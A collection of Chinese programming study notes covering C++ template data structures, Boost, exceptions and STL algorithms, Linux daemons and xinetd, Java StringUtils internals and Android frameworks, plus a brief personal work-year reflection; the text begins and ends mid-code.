what[0] << endl; cout << what[1] << endl; } else { cout << "检索失败"; } cin.get(); } void mainC1234() { string str = "chinaen8 Glish9abv"; boost::regex expr("\\d");//d代表数字, string kongge = "______"; std::cout << boost::regex_replace(str, expr, kongge) << endl; cin.get(); }
boost模板库与线性表 Boost的安装 使用boost,首先需要进行的环境配置。 #include <iostream> #include <string> #include<boost/array.hpp>//区别 using namespace std; void main() { boost::array<int, 10> myarray = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; boost::array<int, 10>::iterator ibegin = myarray.begin(); boost::array<int, 10>::iterator iend = myarray.end(); for (;ibegin!=iend;ibegin++) { cout << *ibegin << endl; } cin.get(); } 线性表顺序存储 Myvector.h #pragma once template <class T> class myvector { public: myvector(); ~myvector(); void push_back(T t); //增 删 查 改 T *find(T t); void change(T*pos, T t); void del(T t); void show(); T operator [](int i); void insert(T findt, T t); public: T *p; int n;//标记内存长度 int realn;//实际长度 }; Myvector.cpp #include "myvector.h" template <class T> myvector<T>::myvector() { p = nullptr; n = realn = 0; } template <class T> myvector<T>::~myvector() { if (p!=nullptr) { delete []p; p = nullptr;//清空 } } template <class T> void myvector<T>::push_back(T t) { if (p==nullptr) { p = new T;//分配内存 *p = t;//赋值 realn = n = 1; } else { T *ptemp = new T[n + 1];//重新分配内存 for (int i = 0; i < n;i++) { *(ptemp + i) = *(p + i);//拷贝 } *(ptemp + n) = t;//赋值最后一个元素 delete []p; p = ptemp; realn += 1; n += 1; } } template <class T> void myvector<T>::show() { if (p==NULL) { return; } else { for (int i = 0; i < realn;i++) { cout << p[i] << " "; } cout << "\n"; } } template <class T> T * myvector<T>::find(T t) { for (int i = 0; i < realn; i++) { if (t==*(p+i)) { return p + i; } } return nullptr; } template <class T> void myvector<T>::change(T*pos, T t) { if (pos==nullptr) { return; } else { *pos = t; } } template <class T> void myvector<T>::del(T t) { int pos = -1; for (int i = 0; i < realn; i++) { if (t == *(p + i)) { pos = i; break; } } if (pos!=-1) { if (pos== realn-1) { realn -= 1; } else { for (int i = pos; i < realn-1;i++) { p[i] = p[i + 1]; } realn -= 1; } } } template <class T> void myvector<T>::insert(T findt, T t) { if (n == realn) { { int pos = -1; for (int i = 0; i < realn; i++) { if (findt== *(p + i)) { pos = i; break; } } if (pos!=-1) { //重新分配内存并拷贝 { T *ptemp = new T[n + 1];//重新分配内存 for (int i = 0; i < n; i++) { *(ptemp + i) = *(p + i);//拷贝 } delete[] p; p = ptemp; realn += 1; n += 1; } for (int i = realn - 2; i>=pos;i--) { p[i + 1]=p[i];//往前移动 } p[pos] = t; } } } else { int pos = -1; for (int i = 0; i < realn; i++) { if (findt == *(p + i)) { pos = i; break; } } if (pos != -1) { for (int i = realn - 1; i >= pos; i--) { p[i + 1] = p[i];//往前移动 } p[pos] = t; realn += 1; } } } template <class T> T myvector<T>::operator [](int i) { if (i < 0 || i>=realn) { return NULL; } return p[i]; } Main.cpp #include <iostream> #include<stdlib.h> #include <vector> #include <string> #include "myvector.h" #include "myvector.cpp"//因为有template //一定要学会自己怎么写模板库 //自己写的模板,写的通用是很难的 using namespace std; void main() { myvector<int> myv1; myv1.push_back(11); myv1.push_back(12); myv1.push_back(13); myv1.push_back(14); myv1.push_back(15); myvector<int> myv2; myv2.push_back(31); myv2.push_back(32); myv2.push_back(33); myvector<int> myv3; myv3.push_back(131); myv3.push_back(132); myv3.push_back(133); myv3.push_back(1337); myvector< myvector<int>* > myvv;//自己写的模板嵌套用指针 myvv.push_back(&myv1); myvv.push_back(&myv2); myvv.push_back(&myv3); myvv[0]->show(); myvv[1]->show(); myvv[2]->show(); cin.get(); } void main1() { myvector<int> myv; myv.push_back(11); myv.push_back(12); myv.push_back(13); myv.push_back(14); myv.push_back(15); myv.show(); cin.get(); } void main2() { myvector<double> myv; myv.push_back(11.2); myv.push_back(12.0); myv.push_back(13.5); myv.push_back(14.9); myv.push_back(15.90); myv.show(); cin.get(); } void main5() { myvector<char *> myv; myv.push_back("av"); myv.push_back("va"); myv.push_back("cc"); myv.push_back("tv"); myv.show(); cin.get(); } void main4() { vector<string> myv;// myv.push_back("av"); myv.push_back("va"); myv.push_back("cc"); myv.push_back("tv"); cin.get(); } void main312() { myvector<int> myv; myv.push_back(11); myv.push_back(12); myv.push_back(13); myv.push_back(14); myv.push_back(15); myv.show(); int *p = myv.find(13); cout << p << endl; myv.change(p, 23);// myv.show(); myv.del(12); myv.insert(23, 99); myv.show(); cout << myv[2] << endl; cin.get(); } 线性表链式存储 Node.h #pragma once template <class T> class Node { public: T t;//数据 Node *pNext;//指针域 }; List.h #pragma once #include "Node.h" #include <iostream> template <class T> class List { public: Node<T> *pHead; public: List(); void add(T t);//尾部插入 void show();//显示 Node<T> * find(T t);//查找 void change(Node<T> *p, T newt);//修改 int getnum();//获取个数 bool deletet(T t); void sort(); void deletesame();//删除相同的元素 bool clear(); void rev(); void insert(T oldt, T newt); void merge(List & list); ~List(); }; List.cpp #include "List.h" template <class T> List<T>::List() { this->pHead = nullptr;//设置空节点 cout << "链表创建" << endl; } template <class T> List<T>::~List() { cout << "链表销毁" << endl; } template <class T> void List<T>::add(T t) { Node<T> *pnew = new Node<T>;//分配节点 pnew->t = t;//赋值 pnew->pNext = nullptr; if (pHead==nullptr) { this->pHead = pnew;//头结点 } else { Node<T> *p = pHead;//获取头结点位置 while (p->pNext!=nullptr)//循环到尾部 { p = p->pNext; } p->pNext = pnew; } } template <class T> void List<T>::show() { Node<T> *p = pHead;//获取头结点位置 while (p!= nullptr)//循环到尾部 { cout << p->t << " "; p = p->pNext; } cout << endl; } template <class T> Node<T> * List<T>::find(T t) { Node<T> *p = pHead;//获取头结点位置 while (p != nullptr)//循环到尾部 { if (p->t==t) { return p; } p = p->pNext; } return nullptr; } template <class T> void List<T>::change(Node<T> *p, T newt) { if (p==nullptr) { return; } p->t = newt; } template <class T> int List<T>::getnum() { int i = 0; Node<T> *p = pHead;//获取头结点位置 while (p != nullptr)//循环到尾部 { i++; p = p->pNext; } return i; } template <class T> bool List<T>::deletet(T t) { Node<T> *p = this->find(t); if (p==nullptr) { return false; } else { if (p==pHead)//头结点 { pHead = p->pNext; delete p; } else { Node<T> *p1, *p2; p1 = pHead; p2 = p1->pNext; while (p2!=p)//删除一个节点,获取前一个节点 { p1 = p2; p2 = p2->pNext; } p1->pNext = p2->pNext;//跳过p2 delete p2; } return true; } } template <class T> void List<T>::sort() { for (Node<T> *p1 = pHead; p1 != NULL;p1=p1->pNext) { for (Node<T> *p2 = pHead; p2!= NULL; p2 = p2->pNext) { if (p1->t < p2->t) { T temp; temp = p1->t; p1->t = p2->t; p2 -> t = temp; } } } } template<class T> void List<T>::deletesame()//重新生成 { Node<T> *p1, *p2; p1 = pHead->pNext; p2 = pHead; while (p1!=nullptr) { if (p1->t==p2->t) { //cout << "="; p2->pNext = p1->pNext; delete p1; p1 = p2->pNext; } else { p2 =p1; p1 = p1->pNext; } } } template<class T> bool List<T>::clear() { if (pHead ==nullptr) { return false; } Node<T> *p1, *p2; p1 = pHead->pNext; while (p1!=nullptr) { p2 = p1->pNext; delete p1; p1 = p2; } delete pHead; pHead = nullptr; return true; } template<class T> //递归 void List<T>::rev() { if (pHead==nullptr || pHead->pNext==nullptr) { return; } else { Node<T> *p1, *p2, *p3; p1 = pHead; p2 = p1->pNext; while (p2!=nullptr) { p3 = p2->pNext; p2->pNext = p1; p1 = p2; p2 = p3; } pHead->pNext= nullptr; pHead = p1; } } template<class T> void List<T>::insert(T oldt, T newt) { Node<T> *p = find(oldt); if (p!=nullptr) { Node<T> *p1, *p2; p1 = pHead; p2 = p1->pNext; while (p2 != p) { p1 = p2; p2 = p2->pNext; } Node<T> *pnew = new Node<T>; pnew->t = newt; pnew->pNext = p2; p1->pNext = pnew; } } template<class T> void List<T>::merge(List & list) { Node<T> *p = pHead;//获取头结点位置 while (p->pNext != nullptr)//循环到尾部 { p = p->pNext; } p->pNext = list.pHead;// } Main.cpp #include<iostream> #include<string> #include "List.h" #include "List.cpp" #include "Node.h" using namespace std; void main() { List<int> * pmylist1 = new List<int>; pmylist1->add(11); pmylist1->add(11); pmylist1->add(12); pmylist1->add(12); List<int> * pmylist2 = new List<int>; pmylist2->add(11); pmylist2->add(11); pmylist2->add(12); List< List<int> *> *p=new List< List<int> *>; p->add(pmylist1); p->add(pmylist2); p->pHead->t->show(); p->pHead->pNext->t->show(); p->show(); cin.get(); } void main213() { List<char *> cmdlist; cmdlist.add("china"); cmdlist.add("calc"); cmdlist.add("born"); cmdlist.add("xery"); cmdlist.show(); cin.get(); } void main4() { List<int> * pmylist = new List<int>; pmylist->add(11); pmylist->add(11); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(15); pmylist->add(11); pmylist->show(); List<int> list; list.add(1231); list.add(1232); list.add(1239); list.add(1237); list.show(); pmylist->merge(list); pmylist->show(); delete pmylist; cin.get(); } void main3() { List<int> * pmylist = new List<int>; pmylist->add(11); pmylist->add(11); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(15); pmylist->add(11); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(12); pmylist->add(15); pmylist->show(); pmylist->sort(); pmylist->show(); pmylist->deletesame(); pmylist->show(); pmylist->rev(); pmylist->show(); pmylist->insert(12, 1100); pmylist->show(); pmylist->clear(); pmylist->show(); delete pmylist; cin.get(); } void main1() { List<int> * pmylist =new List<int>; pmylist->add(11); pmylist->add(12); pmylist->add(13); pmylist->add(15); pmylist->show(); Node<int > *p = pmylist->find(13); pmylist->change(p, 19); pmylist->show(); pmylist->deletet(15); pmylist->show(); delete pmylist; cin.get(); } 哈希存储 插入、删除很不方便,查找最方便。O(1). Hashnode.h #pragma once template<class T> class hashnode { public: int key;//索引 T t; //代表数据 int cn;//代表查找次数 }; //0 1 2 3 4 5 6 7 8 9 索引 //9 10, //10 1 2 3 4 5 6 7 8 9 数据 哈希 //100 Hash.h #pragma once #include "hashnode.h" template<class T> class Hash { public: hashnode<T> *p;//p->存储哈希表 int n;//长度 public: int myhash(int key ); void init(T * pt, int nt); bool isin(int key,T t); hashnode<T> * find(int key); Hash(); ~Hash(); }; Hash.cpp #include "Hash.h" template<class T> Hash<T>::Hash() { this->n = 10; this->p = new hashnode<T>[this->n]; } template<class T> Hash<T>::~Hash() { delete[] p; } template<class T> int Hash<T>::myhash(int key) { return key % n; } template<class T> void Hash<T>::init(T *pt,int nt) { for (int i = 0; i < 10;i++) { p[i].key = i; p[i].t = pt[i]; p[i].cn = 0; } } template<class T> bool Hash<T>::isin(int key,T t) { int res = myhash(key); if (p[res].t==t) { return true; } else { return false; } } template<class T> hashnode<T> * Hash<T>::find(int key) { int res = myhash(key); return p + res; } Main.cpp #include<iostream> #include "Hash.h" #include "Hash.cpp" #include "hashnode.h" using namespace std; void main() { Hash<int> myhash; int a[10] = { 10, 11, 22, 33, 44, 55, 56, 67, 78, 99 }; myhash.init(a, 10); cout << myhash.isin(43,43) << endl; hashnode<int > *p = myhash.find(8); cout << p->key << endl; cout << p->t << endl; cin.get(); }
21.守护进程 守护进程是生存期长的一种进程。它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。 常常在系统引导装入时启动,在系统关闭时终止。linux系统启动时会启动多守护进程,大多数服务器都是用守护进程实现的。 它们没有控制终端,不能直接和用户交互,不受用户登陆、注销影响,一直运行着。 守护进程完成许多系统任务.有些书籍和资料也把守护进程称作:“服务”(service)。通常采用以d结尾的名字。 22.Xinetd 从守护进程的概念可以看出,对于系统所要通过的每一种服务,都必须运行一个监听某个端口连接所发生的守护进程, 这通常意味着资源浪费。 为了解决这个问题,Linux引进了"网络守护进程服务程序"的概念。xinted(extended InterNET daemon) xinetd同时监听多个指定的端口,接受用户请求时,根据请求端口,启动不同的网络服务进程来处理这些用户请求。 可以把xinetd看做一个管理启动服务的管理服务器,它决定把一个客户请求交给哪个程序处理,然后启动相应的守护进程。 xinetd无时不在运行并监听它所管理的所有端口上的服务。 当某个要连接它管理的某项服务的请求到达时,xinetd就会为该服务启动合适的服务器。 23.Android自定义控件 开发自定义控件的步骤: 1、了解View的工作原理 2、 编写继承自View的子类 3、 为自定义View类增加属性 4、 绘制控件 5、 响应用户消息 6 、自定义回调函数 http://www.cnblogs.com/0616--ataozhijia/p/4003380.html 24.Java静态方法 java静态方法与非静态方法有什么区别? 静态方法可以直接用类名点出来方法,而普通方法需要创建类的对象后才能调用! 静态方法是使用公共内存空间的,就是说所有对象都可以直接引用,不需要创建对象再使用该方法。 例如,我创建一个类,里面有一个静态方法: class Test{ public static int z(int xx,int yy){ return xx+yy; } public int zz(int xx,int yy){ return xx+yy; } } 然后在含有main方法的类中使用这个类时,对与以上非静态和静态方法的引用方式是不同的,如下: import Test; public class mainClass{ int sum; public static void main(String args[]){ sum=Test.z(1,2); //直接用 类.方法或者属性就可以使用该方法或属性。 System.out.println(sum); Test t=new Test(); sum=t.zz(1,2); //因为zz不是静态方法,所以只能只能用Test类创建一个t对象,然后调用该对象的方法。 System.out.println(sum); } } 25.蓝牙uuid 关于 蓝牙UUID ——UUID是“Universally Unique Identifier”的简称,通用唯一识别码的意思。对于蓝牙设备,每个服务都有通用、独立、唯一的UUID与之对应。也就是说,在同一时间、同一地点,不可能有两个相同的UUID标识的不同服务。 // UUID号,表示不同的数据协议 private final String UUID_STR = "00001101-0000-1000-8000-00805F9B34FB"; 26.内存映射文件 内存映射文件,是由一个文件到一块内存的映射。Win32提供了允许应用程序把文件映射到一个进程的函数 (CreateFileMapping)。内存映射文件与虚拟内存有些类似,通过内存映射文件可以保留一个地址空间的区域,同时将物理存储器提交给此区域,内存文件映射的物理存储器来自一个已经存在于磁盘上的文件,而且在对该文件进行操作之前必须首先对文件进行映射。使用内存映射文件处理存储于磁盘上的文件时,将不必再对文件执行I/O操作,使得内存映射文件在处理大数据量的文件时能起到相当重要的作用。 Linux下为mmap函数。 27.Afinal Afinal是一个android的ioc,orm框架,内置了四大模块功 能:FinalAcitivity,FinalBitmap,FinalDb,FinalHttp。通过finalActivity,我们可以通过注解的 方式进行绑定ui和事件。通过finalBitmap,我们可以方便的加载bitmap图片,而无需考虑oom等问题。通过finalDB模块,我们一行 代码就可以对android的sqlite数据库进行增删改查。通过FinalHttp模块,我们可以以ajax形式请求http数据。 目前Afinal主要有四大模块: FinalDB模块:android中的orm框架,一行代码就可以进行增删改查。支持一对多,多对一等查询。 FinalActivity模块:android中的ioc框架,完全注解方式就可以进行UI绑定和事件绑定。无需findViewById和setClickListener等。 FinalHttp模块:通过httpclient进行封装http数据请求,支持ajax方式加载。 FinalBitmap模块:通过FinalBitmap,imageview加载bitmap的时候无需考虑bitmap加载过程中出现 的oom和android容器快速滑动时候出现的图片错位等现象。FinalBitmap可以配置线程加载线程数量,缓存大小,缓存路径,加载显示动画 等。FinalBitmap的内存管理使用lru算法,没有使用弱引用(android2.3以后google已经不建议使用弱引 用,android2.3后强行回收软引用和弱引用,详情查看android官方文档),更好的管理bitmap内存。FinalBitmap可以自定义 下载器,用来扩展其他协议显示网络图片,比如ftp等。同时可以自定义bitmap显示器,在imageview显示图片的时候播放动画等(默认是渐变动 画显示)。 IOC: 控制反转(Inversion of Control,英文缩写为IoC)是一个重要的面向对象编程的法则来削减计算机程序的耦合问题,也是轻量级的Spring框架的核心。 控制反转一般分为两种类型,依赖注入(Dependency Injection,简称DI)和依赖查找(Dependency Lookup)。 ORM: 对象关系映射(英语:Object Relational Mapping,简称ORM,或O/RM,或O/R mapping),是一种程序技术,用于实现面向对象编程语言里不同类型系统的数据之间的转换。从效果上说,它其实是创建了一个可在编程语言里使用的“虚拟对象数据库”。
按部就班的一年,经历了一次工作的变动。从石家庄东开发区天远科技公司跳槽到石家庄百富勤软件科技公司。 来到一个初创型的公司,技术上的积累还是比较多的。 参与公司产品的项目: 1.防丢系列:熟练的gps,3g。stm32单片机。 2.及时通讯(爱谁谁):xmpp开源项目。 3.愛一家健康手机:人体健康参数采集传感器(心电/血糖/血氧/温度/蓝牙)。android应用app的开发。服务器webservice。 4.爱妻工兵:BLE蓝牙/温度。app; 5.智能家居:zigbee/android源代码;wifi,微信; 针对技术的思考: App产品的开发工作,市场需求-->产品原型图-->方案设计-->技术框架-->联调测试-->上线-->反馈。 ------------------------- 如果在接下来的工作中有机会的话,微信蓝牙(wifi)技术控制单品家居。
common.lang中StringUtils介绍 StringUtils是对java中String类的增强和补充,简化开发。主要方法分为: 1 判空:isEmpty、isBlank 用法略 2 取空格:trim、strip系列方法 这两个方法的区别是trim去掉的是不显示的控制符,而strip去掉的空格。 Java代码 public static void main(String[] args) { StringBuilder sb = new StringBuilder(); char a = 0x10; sb.append(a); sb.append("aaaa"); sb.append(" "); System.out.println(sb);//aaaa System.out.println(StringUtils.trim(sb.toString()));//aaaa System.out.println(StringUtils.strip(sb.toString()));//aaaa } 源码里有趣的地方: Java代码 static { try { // java.text.Normalizer.normalize(CharSequence, Normalizer.Form.NFD); // Be careful not to get Java 1.3 java.text.Normalizer! Class<?> normalizerFormClass = Thread.currentThread().getContextClassLoader() .loadClass("java.text.Normalizer$Form");//$NON-NLS-1$ java6NormalizerFormNFD = normalizerFormClass.getField("NFD").get(null);//$NON-NLS-1$ Class<?> normalizerClass = Thread.currentThread().getContextClassLoader() .loadClass("java.text.Normalizer");//$NON-NLS-1$ java6NormalizeMethod = normalizerClass.getMethod("normalize", new Class[] {CharSequence.class, normalizerFormClass});//$NON-NLS-1$ java6Available = true; } catch (ClassNotFoundException e) { java6Available = false; } catch (NoSuchFieldException e) { java6Available = false; } catch (IllegalAccessException e) { java6Available = false; } catch (NoSuchMethodException e) { java6Available = false; } try { // sun.text.Normalizer.decompose(text, false, 0); Class<?> normalizerClass = Thread.currentThread().getContextClassLoader() .loadClass("sun.text.Normalizer");//$NON-NLS-1$ sunDecomposeMethod = normalizerClass.getMethod("decompose", new Class[] {String.class, Boolean.TYPE, Integer.TYPE});//$NON-NLS-1$ sunAvailable = true; } catch (ClassNotFoundException e) { sunAvailable = false; } catch (NoSuchMethodException e) { sunAvailable = false; } } 用了一段static块来验证系统支持的java版本。 另外大量用三元运算符,简化代码。 3 判等equals/equalsIgnoreCase 和名字类似,比string增强处是针对null做了处理。 equalsIgnoreCase调用了CharSequenceUtils中的方法,以后再说 4 包含index/contain系列 调用的都是CharSequenceUtils下的方法,没啥好说的。 5 截取字串substring系列 比string类增加了一些对于null的处理以及截取位置的选择方法。 源码中有趣的地方: 在涉及到返回为数组时,中间逻辑都是使用list来处理,最后结果处转为数组。 6 分割字符串 split系列 诸如splitByWholeSeparator和splitPreserveAllTokens和这种方法的主要区别是如何处理连续多个分隔符,前者将多个连续的分隔符视为一个,而后者会分别分割,结果出现很多为空的字符串。 对于这块的逻辑,源码里的实现方式为: Java代码 char sep = separatorChars.charAt(0);//分隔符为单字符时的情况 while (i < len) { if (str.charAt(i) == sep) { if (match || preserveAllTokens) {//preserveAllTokens 为是否考虑处理连续多个分隔符。当没处理一个分隔符后match都会被修改为false,如果接下来的仍然为分隔符,这个if的逻辑将有 preserveAllTokens决定。如果preserveAllTokens为false,将跳过这个分隔符,直到遇到下一个不为分隔符的字符 时,match被修改为true,才能继续开始分割。 lastMatch = true; if (sizePlus1++ == max) { i = len; lastMatch = false; } list.add(str.substring(start, i)); match = false; } start = ++i; continue; } lastMatch = false; match = true; i++; 如果分隔符为多个字符,处理逻辑类似 Java代码 while (i < len) { if (separatorChars.indexOf(str.charAt(i)) >= 0) { if (match || preserveAllTokens) { lastMatch = true; if (sizePlus1++ == max) { i = len; lastMatch = false; } list.add(str.substring(start, i)); match = false; } start = ++i; continue; } lastMatch = false; match = true; i++; } 7 合并字符串join系列 使用stringbuilder Java代码 bufSize *= ((array[startIndex] == null ? 16 : array[startIndex].toString().length()) + separator.length()); 源码中设置builder初始大小的逻辑,以第一个需要合并的对象长度来估计。 8 删除子串deleteWhitespace和remove系列 这个没啥好说的,复杂一点的删除都是调用了接下来要说的replace方法 9 替代子串replace、chomp系列 有意思的还是初始化stringbuilder长度 Java代码 } int replLength = searchString.length(); int increase = replacement.length() - replLength; increase = (increase < 0 ? 0 : increase); increase *= (max < 0 ? 16 : (max > 64 ? 64 : max)); StringBuilder buf = new StringBuilder(text.length() + increase); 10 重复 repeat/pad/center系列 Java代码 switch (inputLength) { case 1 : return repeat(str.charAt(0), repeat); case 2 : char ch0 = str.charAt(0); char ch1 = str.charAt(1); char[] output2 = new char[outputLength]; for (int i = repeat * 2 - 2; i >= 0; i--, i--) { output2[i] = ch0; output2[i + 1] = ch1; } return new String(output2); default : StringBuilder buf = new StringBuilder(outputLength); for (int i = 0; i < repeat; i++) { buf.append(str); } return buf.toString(); } 在量少的时候,尽量用拼接char数组的方式,量多采用stringbuilder stringbuilder其实也是char数组 测试下了两字节五千次拼接,重复一千遍,直接采用char数组用时93ms,而采用stringbuilder用时173ms。 这里不太理解,为什么是两个字节而不是四个字节或更多,需要再研究下。 11 大小写转换 没什么好说的,主要是对null做处理 12 字符串统计 countMatches 实用,但 也没啥好说的 13 判断属性is系列 调用jdk中的Character方法 14 缩减字符串abbreviate系列 就是将一个长字符串写成头几个字母加省略号的格式,web用处比较多,实现也没什么好说的。 --------------------- 结扎,over还有一篇比较好:http://www.blogjava.net/zhaochengming/archive/2011/09/26/359500.html不过里头有错误。
类与对象的异常 Cpp异常 #include <iostream> #include <string.h> using namespace std; //标识错误的类型 class wrong { }; int intdiv(int a, int b) { try { if (b==0) { throw 10;//可以是任何对象 wrong(); } int c = a / b; return c; } catch (int data )//类型名 { cout << "除法异常已经处理"; return -1; } } int intdivA(int a, int b) { return a / b; } void main() { int x, y; cin >> x >> y; try { if (y==0) { throw "被除数为0"; } else if (x==0) { throw "除数为0"; } } catch (const char * s) { if (strcmp(s,"被除数为0")==0) { cout << "被除数为0异常,请重新输入"; cin >> x >> y; } else if (strcmp(s, "除数为0") == 0) { cout << "除数为0异常,请重新输入"; cin >> x >> y; } } std::cout << intdiv(x, y); cin.get(); cin.get(); cin.get(); } 类的异常 #include<iostream> using namespace std; class wrong { }; class wrongA { }; class Array { public: Array(int num) { n = num; if (num<=0) { throw wrong(); } p = new int[num];//正确代码在throw之后,不会被执行, for (int i = 0; i < num;i++) { p[i] = 0; } } int & operator[](int num) { if (num < 0 || num>= n) { throw wrongA(); } return p[num]; } protected: private: int *p; int n; }; void main() { try { Array myarrar(2); myarrar[-1]; } catch (wrongA e) { cout << "下标越界"; } catch (wrong e) { cout << "程序发生异常,数组大小必须大于等于1"; } cin.get(); } void mainA() { int a[3] = { 1, 2, 3 }; // printf("%d", 2[a]);//*(2+a) // printf("%d", a[9886655]); getchar(); } #include<iostream> #include <string> using namespace std; class box //正方体 { public: box(int data) { cout << "开始构造"; if (data ==0) { zero z1; z1.errorcode = 212; throw z1; } else if ( data >0 && data<100) { throw small(); } else if (data>10000) { throw big(); } else if (data>100 && data<10000) { a = data; } else { throw wrong{}; } } int gettiji() { return a*a*a; } class zero { public: int errorcode; }; class wrong{}; class big{}; class small{}; private: int a;//变长 }; void main() { try { box newbox(0); } catch (box::zero w) { if (w.errorcode==22) { cout << "22号错误正方体长度不可以为0"; } else { cout << "fei22号错误正方体长度不可以为0"; } } catch (box::wrong) { cout << "正方体长度异常"; } catch (box::big) { cout << "正方体长度太长"; } catch (box::small) { cout << "正方体长度taiduan"; } cin.get(); } 面试100题1-100 单独整理成文档
兰不达表达式 #include<iostream> #include<vector> #include<algorithm>//算法 lambda表达式,不仅仅适用与array ,也适用于vector void main1() { std::vector<int> myvector; myvector.push_back(11); myvector.push_back(22); myvector.push_back(33); myvector.push_back(3); myvector.push_back(4); myvector.push_back(5); int res=0;//结果 //&res直接操作一个变量,res等价于返回值,x代表参数,每次充当迭代器指向的元素,大括号就是代码 std::for_each(myvector.begin(), myvector.end(), [&res](int x){res += x; }); std::cout << res; std::cin.get(); } void main() { std::vector<int> myvector(5);//分配5个空间,默认初始化为0 myvector.push_back(1);//增 myvector.push_back(11); myvector.push_back(111); myvector.push_back(1111); myvector.push_back(2); myvector.pop_back();//弹出一个元素,删除最后一个 myvector.insert(myvector.begin() +1, 999);//插入, myvector.erase(myvector.begin()+5);//根据迭代器的位置 //myvector.clear();//删除所有元素 for (int i = 0; i < myvector.size(); i++) { if (1) { //查询,修改 } std::cout << myvector.at(i) << std::endl; } system("pause"); } void main123123() { //可以实现动态无规则数组管理 std::vector<int> myvetor1; myvetor1.push_back(12); myvetor1.push_back(13); myvetor1.push_back(14); std::vector<int> myvetor2; myvetor2.push_back(22); std::vector<int> myvetor3; myvetor3.push_back(32); myvetor3.push_back(37); std::vector<std::vector<int>> allvecor; allvecor.push_back(myvetor1); allvecor.push_back(myvetor2); allvecor.push_back(myvetor3); for (int i = 0; i < allvecor.size(); i++) { for (int j = 0; j < allvecor[i].size(); j++) { std::cout <<" "<< allvecor[i][j]; } std::cout << "\n"; } std::cin.get(); } STL算法-操作数据 Vector #include <iostream> #include <vector> #include <algorithm> #include <list> #include <set> #include <string> using namespace std; void main1() { vector<int> myv; myv.push_back(1); myv.push_back(2); myv.push_back(3); myv.push_back(11); myv.push_back(22); myv.push_back(33); for_each(myv.begin(), myv.end(), [](int v){ cout << v << endl; }); auto i = find(myv.begin(), myv.end(), 23); if (i==myv.end()) { std::cout << "23玩失踪"; } else { std::cout <<*i; } cin.get(); } void main2() { vector<int> myv; myv.push_back(1); myv.push_back(2); myv.push_back(3); myv.push_back(11); myv.push_back(22); myv.push_back(33); for_each(myv.begin(), myv.end(), [](int v){ cout << v << endl; }); //auto i = find_if(myv.begin(), myv.end(), [](int v)->bool{ return (v > 4); }); auto i = find_if_not(myv.begin(), myv.end(), [](int v)->bool{ return (v > 4); }); if (i == myv.end()) { std::cout << "玩失踪"; } else { std::cout << *i; } cin.get(); } List template <class T> class show { public: void operator ()(T &t) { cout << t << " "; } }; void main3() { list <int > list1; vector <int > v1; list1.push_back(121); list1.push_back(12); list1.push_back(122); list1.push_back(23); v1.push_back(121); v1.push_back(12); v1.push_back(122); v1.push_back(23); //sort(list1.begin(), list1.end());//排序 //sort(v1.begin(), v1.end());//排序,简单的排序 //算法依赖于数据结构(链式,线性),不同的数据结构,算法不一样 fill(v1.begin() + 3, v1.end(), 3);//填充,指定位置数据进行初始化 for_each(list1.begin(), list1.end(), show<int>()); cout << "\n"; for_each(v1.begin(), v1.end(), show<int>()); cin.get(); } Multiset void main4() { multiset<int > myset; myset.insert(3); myset.insert(1); myset.insert(2); myset.insert(1); myset.insert(2); myset.insert(1); myset.insert(2); myset.insert(1); int i = 0; for (auto ib = myset.begin(), ie = myset.end(); ib != ie;ib++,i++) { } cout << i << endl; int num = count(myset.begin(), myset.end(), 1);//统计1有多少个节点 cout << num<< endl; cin.get(); } void main5() { multiset<int > myset; myset.insert(3); myset.insert(1); myset.insert(2); myset.insert(1); myset.insert(0); myset.insert(1); myset.insert(2); myset.insert(1); for_each(myset.begin(),myset.end(), show< const int>()); auto it= adjacent_find(myset.begin(), myset.end()); cout << "\n" << *it << endl; it++; cout << "\n" << *it << endl; it++; cout << "\n" << *it << endl; it++; cout << "\n" << *it << endl; it = adjacent_find(it, myset.end());//查找相同的数据,可以自己确定位置 cout << "\n" << *it << endl; it++; cout << "\n" << *it << endl; cin.get(); } 打乱数据,扑克牌洗牌 template <class T> class show { public: void operator ()(T &t) { cout << t << " "; } }; //打乱数据 void main() { vector<int> v1; for (int i = 0; i < 10;i++) { v1.push_back(i); } for_each(v1.begin(), v1.end(), show<int>()); cout << "\n"; random_shuffle(v1.begin(), v1.end()); for_each(v1.begin(), v1.end(), show<int>()); cout << "\n"; random_shuffle(v1.begin(), v1.end()); for_each(v1.begin(), v1.end(), show<int>()); cout << "\n"; random_shuffle(v1.begin(), v1.end()); for_each(v1.begin(), v1.end(), show<int>()); cin.get(); } 旋转数据 bool isok(int num) { return (num == 8); } //旋转数据 void main7() { vector<int> v1; for (int i =10; i>0; i--) { v1.push_back(i); } for_each(v1.begin(), v1.end(), show<int>()); //partition(v1.begin(), v1.end(), isok);//服务于快速排序法的分区 //旋转, 头,尾,中间 rotate(v1.begin(), v1.begin()+8, v1.end());//v1.begin(), v1.begin()+8之间的数据移动到后面 cout << "\n"; for_each(v1.begin(), v1.end(), show<int>()); /* rotate(v1.begin(), v1.begin()+1, v1.end()); cout << "\n"; for_each(v1.begin(), v1.end(), show<int>()); rotate(v1.begin(), v1.begin() + 1, v1.end()); cout << "\n"; for_each(v1.begin(), v1.end(), show<int>()); rotate(v1.begin(), v1.begin() + 1, v1.end()); cout << "\n"; for_each(v1.begin(), v1.end(), show<int>()); */ cin.get(); } 排序并显示步骤 void main8() { int a[4] = { 2, 1, 3 ,10}; do { cout << a[0] << " " << a[1] << " " << a[2] <<a[3]<< "\n"; } while (prev_permutation(a,a+4));//排序并显示步骤 cin.get(); } 局部排序 void main10() { vector<char>one; one.push_back('B'); one.push_back('A'); one.push_back('C'); one.push_back('Y'); one.push_back('Z'); one.push_back('X'); for_each(one.begin(), one.end(), show<char>()); cout << "\n"; for_each(one.begin(), one.end(), show<char>()); cin.get(); } 取出分数最低的2个学生 #include <iostream> #include <vector> #include <algorithm> #include <list> #include <set> #include <string> using namespace std; class student { public: string name; int score; public: student(string str, int num) :name(str), score(num) { } bool operator <(const student &s1)const { return this->score < s1.score; } }; //去分数最差的2个人 void main() { vector<student> ss; { student s1("银城A", 106); ss.push_back(s1); } { student s1("银城B", 101); ss.push_back(s1); } { student s1("银城C", 103); ss.push_back(s1); } { student s1("银城D", 105); ss.push_back(s1); } partial_sort(ss.begin(), ss.begin() + 2,ss.end());//部分排序 for (int i = 0; i < 4;i++) { 